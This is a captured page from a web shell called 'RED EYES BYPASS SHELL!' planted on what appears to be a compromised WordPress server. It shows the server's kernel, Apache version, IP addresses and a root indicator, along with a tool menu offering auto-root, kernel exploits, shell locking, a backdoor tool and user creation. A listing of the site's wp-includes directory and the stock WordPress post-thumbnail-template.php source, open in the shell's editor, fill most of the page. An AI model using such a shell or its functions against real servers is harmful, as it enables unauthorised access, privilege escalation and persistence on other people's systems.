Linux lamp-ubuntu-s-1vcpu-1gb-amd-blr1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 68.183.95.231 | : 216.73.216.153
pkexec version 0.105
Cant Read [ /etc/named.conf ]
root
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
var /
www /
ajayajmera.com /
public_html /
wp-includes /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
33.28
KB
-rwxr-xr-x
atomlib.php
11.67
KB
-rwxr-xr-x
author-template.php
17.21
KB
-rwxr-xr-x
block-editor.php
21.16
KB
-rwxr-xr-x
block-i18n.json
316
B
-rwxr-xr-x
block-patterns.php
10.76
KB
-rwxr-xr-x
block-template-utils.php
31.75
KB
-rwxr-xr-x
block-template.php
11.25
KB
-rwxr-xr-x
blocks.php
44.45
KB
-rwxr-xr-x
bookmark-template.php
12.6
KB
-rwxr-xr-x
bookmark.php
14.97
KB
-rwxr-xr-x
cache-compat.php
4.22
KB
-rwxr-xr-x
cache.php
11.9
KB
-rwxr-xr-x
canonical.php
32.46
KB
-rwxr-xr-x
capabilities.php
34.9
KB
-rwxr-xr-x
category-template.php
54.81
KB
-rwxr-xr-x
category.php
12.41
KB
-rwxr-xr-x
class-IXR.php
2.48
KB
-rwxr-xr-x
class-feed.php
529
B
-rwxr-xr-x
class-http.php
373
B
-rwxr-xr-x
class-json.php
42.42
KB
-rwxr-xr-x
class-oembed.php
407
B
-rwxr-xr-x
class-phpass.php
6.54
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rwxr-xr-x
class-pop3.php
20.35
KB
-rwxr-xr-x
class-requests.php
29.72
KB
-rwxr-xr-x
class-simplepie.php
95.78
KB
-rwxr-xr-x
class-smtp.php
457
B
-rwxr-xr-x
class-snoopy.php
36.83
KB
-rwxr-xr-x
class-walker-category-dropdown.php
2.42
KB
-rwxr-xr-x
class-walker-category.php
8.27
KB
-rwxr-xr-x
class-walker-comment.php
13.88
KB
-rwxr-xr-x
class-walker-nav-menu.php
9.13
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.64
KB
-rwxr-xr-x
class-walker-page.php
7.42
KB
-rwxr-xr-x
class-wp-admin-bar.php
17.05
KB
-rwxr-xr-x
class-wp-ajax-response.php
5.12
KB
-rwxr-xr-x
class-wp-application-passwords.php
11.95
KB
-rwxr-xr-x
class-wp-block-editor-context.php
1.29
KB
-rwxr-xr-x
class-wp-block-list.php
4.61
KB
-rwxr-xr-x
class-wp-block-parser.php
14.86
KB
-rwxr-xr-x
class-wp-block-pattern-categories-registry.php
5.22
KB
-rwxr-xr-x
class-wp-block-patterns-registry.php
7.27
KB
-rwxr-xr-x
class-wp-block-styles-registry.php
4.88
KB
-rwxr-xr-x
class-wp-block-supports.php
5.17
KB
-rwxr-xr-x
class-wp-block-template.php
1.77
KB
-rwxr-xr-x
class-wp-block-type-registry.php
4.53
KB
-rwxr-xr-x
class-wp-block-type.php
10.28
KB
-rwxr-xr-x
class-wp-block.php
7.99
KB
-rwxr-xr-x
class-wp-comment-query.php
46.66
KB
-rwxr-xr-x
class-wp-comment.php
9.1
KB
-rwxr-xr-x
class-wp-customize-control.php
25.11
KB
-rwxr-xr-x
class-wp-customize-manager.php
197.02
KB
-rwxr-xr-x
class-wp-customize-nav-menus.php
55.54
KB
-rwxr-xr-x
class-wp-customize-panel.php
10.19
KB
-rwxr-xr-x
class-wp-customize-section.php
10.72
KB
-rwxr-xr-x
class-wp-customize-setting.php
29.16
KB
-rwxr-xr-x
class-wp-customize-widgets.php
69.63
KB
-rwxr-xr-x
class-wp-date-query.php
34.18
KB
-rwxr-xr-x
class-wp-dependency.php
2.45
KB
-rwxr-xr-x
class-wp-editor.php
69.99
KB
-rwxr-xr-x
class-wp-embed.php
15.58
KB
-rwxr-xr-x
class-wp-error.php
7.13
KB
-rwxr-xr-x
class-wp-fatal-error-handler.php
7.44
KB
-rwxr-xr-x
class-wp-feed-cache-transient.php
2.5
KB
-rwxr-xr-x
class-wp-feed-cache.php
970
B
-rwxr-xr-x
class-wp-hook.php
15.32
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.21
KB
-rwxr-xr-x
class-wp-http-curl.php
12.09
KB
-rwxr-xr-x
class-wp-http-encoding.php
6.51
KB
-rwxr-xr-x
class-wp-http-ixr-client.php
3.39
KB
-rwxr-xr-x
class-wp-http-proxy.php
5.82
KB
-rwxr-xr-x
class-wp-http-requests-hooks.php
1.94
KB
-rwxr-xr-x
class-wp-http-requests-response.php
4.24
KB
-rwxr-xr-x
class-wp-http-response.php
2.88
KB
-rwxr-xr-x
class-wp-http-streams.php
16.21
KB
-rwxr-xr-x
class-wp-http.php
38.96
KB
-rwxr-xr-x
class-wp-image-editor-gd.php
15.33
KB
-rwxr-xr-x
class-wp-image-editor-imagick.php
26.37
KB
-rwxr-xr-x
class-wp-image-editor.php
16.26
KB
-rwxr-xr-x
class-wp-list-util.php
6.83
KB
-rwxr-xr-x
class-wp-locale-switcher.php
4.9
KB
-rwxr-xr-x
class-wp-locale.php
14.17
KB
-rwxr-xr-x
class-wp-matchesmapregex.php
1.76
KB
-rwxr-xr-x
class-wp-meta-query.php
29.47
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.php
5.23
KB
-rwxr-xr-x
class-wp-network-query.php
18.8
KB
-rwxr-xr-x
class-wp-network.php
11.9
KB
-rwxr-xr-x
class-wp-object-cache.php
15.51
KB
-rwxr-xr-x
class-wp-oembed-controller.php
6.67
KB
-rwxr-xr-x
class-wp-oembed.php
29.97
KB
-rwxr-xr-x
class-wp-paused-extensions-storage.php
4.92
KB
-rwxr-xr-x
class-wp-post-type.php
25.15
KB
-rwxr-xr-x
class-wp-post.php
6.3
KB
-rwxr-xr-x
class-wp-query.php
137.26
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-service.php
6.31
KB
-rwxr-xr-x
class-wp-recovery-mode-email-service.php
11.11
KB
-rwxr-xr-x
class-wp-recovery-mode-key-service.php
4.17
KB
-rwxr-xr-x
class-wp-recovery-mode-link-service.php
3.36
KB
-rwxr-xr-x
class-wp-recovery-mode.php
11.13
KB
-rwxr-xr-x
class-wp-rewrite.php
61.5
KB
-rwxr-xr-x
class-wp-role.php
2.44
KB
-rwxr-xr-x
class-wp-roles.php
8.24
KB
-rwxr-xr-x
class-wp-session-tokens.php
7.25
KB
-rwxr-xr-x
class-wp-simplepie-file.php
3.18
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-kses.php
1.73
KB
-rwxr-xr-x
class-wp-site-query.php
30.19
KB
-rwxr-xr-x
class-wp-site.php
7.25
KB
-rwxr-xr-x
class-wp-tax-query.php
19.09
KB
-rwxr-xr-x
class-wp-taxonomy.php
18.07
KB
-rwxr-xr-x
class-wp-term-query.php
38.96
KB
-rwxr-xr-x
class-wp-term.php
5.15
KB
-rwxr-xr-x
class-wp-text-diff-renderer-inline.php
716
B
-rwxr-xr-x
class-wp-text-diff-renderer-table.php
16.4
KB
-rwxr-xr-x
class-wp-theme-json-resolver.php
15.95
KB
-rwxr-xr-x
class-wp-theme-json-schema.php
4.2
KB
-rwxr-xr-x
class-wp-theme-json.php
67.68
KB
-rwxr-xr-x
class-wp-theme.php
52.98
KB
-rwxr-xr-x
class-wp-user-meta-session-tokens.php
2.92
KB
-rwxr-xr-x
class-wp-user-query.php
38.54
KB
-rwxr-xr-x
class-wp-user-request.php
2.14
KB
-rwxr-xr-x
class-wp-user.php
22.2
KB
-rwxr-xr-x
class-wp-walker.php
12.83
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.24
KB
-rwxr-xr-x
class-wp-widget.php
17.72
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
207.93
KB
-rwxr-xr-x
class-wp.php
25.18
KB
-rwxr-xr-x
class.wp-dependencies.php
13.7
KB
-rwxr-xr-x
class.wp-scripts.php
18.61
KB
-rwxr-xr-x
class.wp-styles.php
10.64
KB
-rwxr-xr-x
comment-template.php
94.04
KB
-rwxr-xr-x
comment.php
123.35
KB
-rwxr-xr-x
compat.php
14.52
KB
-rwxr-xr-x
cron.php
39.9
KB
-rwxr-xr-x
date.php
406
B
-rwxr-xr-x
default-constants.php
10.29
KB
-rwxr-xr-x
default-filters.php
30.07
KB
-rwxr-xr-x
default-widgets.php
2.17
KB
-rwxr-xr-x
deprecated.php
124.86
KB
-rwxr-xr-x
embed-template.php
341
B
-rwxr-xr-x
embed.php
36.06
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rwxr-xr-x
feed-atom-comments.php
5.32
KB
-rwxr-xr-x
feed-atom.php
2.98
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rwxr-xr-x
feed-rss.php
1.16
KB
-rwxr-xr-x
feed-rss2-comments.php
3.97
KB
-rwxr-xr-x
feed-rss2.php
3.71
KB
-rwxr-xr-x
feed.php
22.43
KB
-rwxr-xr-x
formatting.php
323
KB
-rwxr-xr-x
functions.php
253.45
KB
-rwxr-xr-x
functions.wp-scripts.php
13.16
KB
-rwxr-xr-x
functions.wp-styles.php
8.37
KB
-rwxr-xr-x
general-template.php
155.85
KB
-rwxr-xr-x
global-styles-and-settings.php
6.21
KB
-rwxr-xr-x
http.php
22.45
KB
-rwxr-xr-x
https-detection.php
6.7
KB
-rwxr-xr-x
https-migration.php
4.62
KB
-rwxr-xr-x
kses.php
66.79
KB
-rwxr-xr-x
l10n.php
58.01
KB
-rwxr-xr-x
link-template.php
145.71
KB
-rwxr-xr-x
load.php
49.12
KB
-rwxr-xr-x
locale.php
162
B
-rwxr-xr-x
media-template.php
58.97
KB
-rwxr-xr-x
media.php
181.69
KB
-rwxr-xr-x
meta.php
61.22
KB
-rwxr-xr-x
ms-blogs.php
24.58
KB
-rwxr-xr-x
ms-default-constants.php
4.65
KB
-rwxr-xr-x
ms-default-filters.php
6.53
KB
-rwxr-xr-x
ms-deprecated.php
20.63
KB
-rwxr-xr-x
ms-files.php
2.59
KB
-rwxr-xr-x
ms-functions.php
91.57
KB
-rwxr-xr-x
ms-load.php
19.32
KB
-rwxr-xr-x
ms-network.php
3.67
KB
-rwxr-xr-x
ms-settings.php
4.03
KB
-rwxr-xr-x
ms-site.php
38.9
KB
-rwxr-xr-x
nav-menu-template.php
22.76
KB
-rwxr-xr-x
nav-menu.php
41.12
KB
-rwxr-xr-x
option.php
75.87
KB
-rwxr-xr-x
pluggable-deprecated.php
6.12
KB
-rwxr-xr-x
pluggable.php
104.98
KB
-rwxr-xr-x
plugin.php
33.67
KB
-rwxr-xr-x
post-formats.php
6.91
KB
-rwxr-xr-x
post-template.php
63.56
KB
-rwxr-xr-x
post-thumbnail-template.php
10.65
KB
-rwxr-xr-x
post.php
266.93
KB
-rwxr-xr-x
query.php
34.94
KB
-rwxr-xr-x
registration-functions.php
200
B
-rwxr-xr-x
registration.php
200
B
-rwxr-xr-x
rest-api.php
93.4
KB
-rwxr-xr-x
revision.php
22.92
KB
-rwxr-xr-x
rewrite.php
18.77
KB
-rwxr-xr-x
robots-template.php
5.06
KB
-rwxr-xr-x
rss-functions.php
255
B
-rwxr-xr-x
rss.php
22.44
KB
-rwxr-xr-x
script-loader.php
126.81
KB
-rwxr-xr-x
session.php
258
B
-rwxr-xr-x
shortcodes.php
20.93
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rwxr-xr-x
taxonomy.php
165.2
KB
-rwxr-xr-x
template-canvas.php
592
B
-rwxr-xr-x
template-loader.php
2.94
KB
-rwxr-xr-x
template.php
21.96
KB
-rwxr-xr-x
theme-i18n.json
959
B
-rwxr-xr-x
theme-templates.php
5.39
KB
-rwxr-xr-x
theme.json
5.61
KB
-rwxr-xr-x
theme.php
124.93
KB
-rwxr-xr-x
update.php
29.21
KB
-rwxr-xr-x
user.php
163.68
KB
-rwxr-xr-x
vars.php
5.73
KB
-rwxr-xr-x
version.php
929
B
-rwxr-xr-x
widgets.php
67.58
KB
-rwxr-xr-x
wlwmanifest.xml
1.02
KB
-rwxr-xr-x
wp-db.php
106.42
KB
-rwxr-xr-x
wp-diff.php
647
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : post-thumbnail-template.php
<?php /** * WordPress Post Thumbnail Template Functions. * * Support for post thumbnails. * Theme's functions.php must call add_theme_support( 'post-thumbnails' ) to use these. * * @package WordPress * @subpackage Template */ /** * Determines whether a post has an image attached. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return bool Whether the post has an image attached. */ function has_post_thumbnail( $post = null ) { $thumbnail_id = get_post_thumbnail_id( $post ); $has_thumbnail = (bool) $thumbnail_id; /** * Filters whether a post has a post thumbnail. * * @since 5.1.0 * * @param bool $has_thumbnail true if the post has a post thumbnail, otherwise false. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. * @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist. */ return (bool) apply_filters( 'has_post_thumbnail', $has_thumbnail, $post, $thumbnail_id ); } /** * Retrieves the post thumbnail ID. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * @since 5.5.0 The return value for a non-existing post * was changed to false instead of an empty string. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return int|false Post thumbnail ID (which can be 0 if the thumbnail is not set), * or false if the post does not exist. */ function get_post_thumbnail_id( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $thumbnail_id = (int) get_post_meta( $post->ID, '_thumbnail_id', true ); /** * Filters the post thumbnail ID. * * @since 5.9.0 * * @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. */ return (int) apply_filters( 'post_thumbnail_id', $thumbnail_id, $post ); } /** * Displays the post thumbnail. * * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size * is registered, which differs from the 'thumbnail' image size managed via the * Settings > Media screen. * * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image * size is used by default, though a different size can be specified instead as needed. * * @since 2.9.0 * * @see get_the_post_thumbnail() * * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'post-thumbnail'. * @param string|array $attr Optional. Query string or array of attributes. Default empty. */ function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) { echo get_the_post_thumbnail( null, $size, $attr ); } /** * Updates cache for thumbnails in the current loop. * * @since 3.2.0 * * @global WP_Query $wp_query WordPress Query object. * * @param WP_Query $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global. */ function update_post_thumbnail_cache( $wp_query = null ) { if ( ! $wp_query ) { $wp_query = $GLOBALS['wp_query']; } if ( $wp_query->thumbnails_cached ) { return; } $thumb_ids = array(); foreach ( $wp_query->posts as $post ) { $id = get_post_thumbnail_id( $post->ID ); if ( $id ) { $thumb_ids[] = $id; } } if ( ! empty( $thumb_ids ) ) { _prime_post_caches( $thumb_ids, false, true ); } $wp_query->thumbnails_cached = true; } /** * Retrieves the post thumbnail. * * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size * is registered, which differs from the 'thumbnail' image size managed via the * Settings > Media screen. * * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image * size is used by default, though a different size can be specified instead as needed. * * @since 2.9.0 * @since 4.4.0 `$post` can be a post ID or WP_Post object. * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of * width and height values in pixels (in that order). Default 'post-thumbnail'. * @param string|array $attr Optional. Query string or array of attributes. Default empty. * @return string The post thumbnail image tag. */ function get_the_post_thumbnail( $post = null, $size = 'post-thumbnail', $attr = '' ) { $post = get_post( $post ); if ( ! $post ) { return ''; } $post_thumbnail_id = get_post_thumbnail_id( $post ); /** * Filters the post thumbnail size. * * @since 2.9.0 * @since 4.9.0 Added the `$post_id` parameter. * * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param int $post_id The post ID. */ $size = apply_filters( 'post_thumbnail_size', $size, $post->ID ); if ( $post_thumbnail_id ) { /** * Fires before fetching the post thumbnail HTML. * * Provides "just in time" filtering of all filters in wp_get_attachment_image(). * * @since 2.9.0 * * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). */ do_action( 'begin_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size ); if ( in_the_loop() ) { update_post_thumbnail_cache(); } // Get the 'loading' attribute value to use as default, taking precedence over the default from // `wp_get_attachment_image()`. $loading = wp_get_loading_attr_default( 'the_post_thumbnail' ); // Add the default to the given attributes unless they already include a 'loading' directive. if ( empty( $attr ) ) { $attr = array( 'loading' => $loading ); } elseif ( is_array( $attr ) && ! array_key_exists( 'loading', $attr ) ) { $attr['loading'] = $loading; } elseif ( is_string( $attr ) && ! preg_match( '/(^|&)loading=/', $attr ) ) { $attr .= '&loading=' . $loading; } $html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr ); /** * Fires after fetching the post thumbnail HTML. * * @since 2.9.0 * * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). */ do_action( 'end_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size ); } else { $html = ''; } /** * Filters the post thumbnail HTML. * * @since 2.9.0 * * @param string $html The post thumbnail HTML. * @param int $post_id The post ID. * @param int $post_thumbnail_id The post thumbnail ID, or 0 if there isn't one. * @param string|int[] $size Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). * @param string|array $attr Query string or array of attributes. */ return apply_filters( 'post_thumbnail_html', $html, $post->ID, $post_thumbnail_id, $size, $attr ); } /** * Returns the post thumbnail URL. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Optional. Registered image size to retrieve the source for or a flat array * of height and width dimensions. Default 'post-thumbnail'. * @return string|false Post thumbnail URL or false if no image is available. If `$size` does not match * any registered image size, the original image URL will be returned. */ function get_the_post_thumbnail_url( $post = null, $size = 'post-thumbnail' ) { $post_thumbnail_id = get_post_thumbnail_id( $post ); if ( ! $post_thumbnail_id ) { return false; } $thumbnail_url = wp_get_attachment_image_url( $post_thumbnail_id, $size ); /** * Filters the post thumbnail URL. * * @since 5.9.0 * * @param string|false $thumbnail_url Post thumbnail URL or false if the post does not exist. * @param int|WP_Post|null $post Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $size Registered image size to retrieve the source for or a flat array * of height and width dimensions. Default 'post-thumbnail'. */ return apply_filters( 'post_thumbnail_url', $thumbnail_url, $post, $size ); } /** * Displays the post thumbnail URL. * * @since 4.4.0 * * @param string|int[] $size Optional. Image size to use. Accepts any valid image size, * or an array of width and height values in pixels (in that order). * Default 'post-thumbnail'. */ function the_post_thumbnail_url( $size = 'post-thumbnail' ) { $url = get_the_post_thumbnail_url( null, $size ); if ( $url ) { echo esc_url( $url ); } } /** * Returns the post thumbnail caption. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @return string Post thumbnail caption. */ function get_the_post_thumbnail_caption( $post = null ) { $post_thumbnail_id = get_post_thumbnail_id( $post ); if ( ! $post_thumbnail_id ) { return ''; } $caption = wp_get_attachment_caption( $post_thumbnail_id ); if ( ! $caption ) { $caption = ''; } return $caption; } /** * Displays the post thumbnail caption. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. */ function the_post_thumbnail_caption( $post = null ) { /** * Filters the displayed post thumbnail caption. * * @since 4.6.0 * * @param string $caption Caption for the given attachment. */ echo apply_filters( 'the_post_thumbnail_caption', get_the_post_thumbnail_caption( $post ) ); }
Close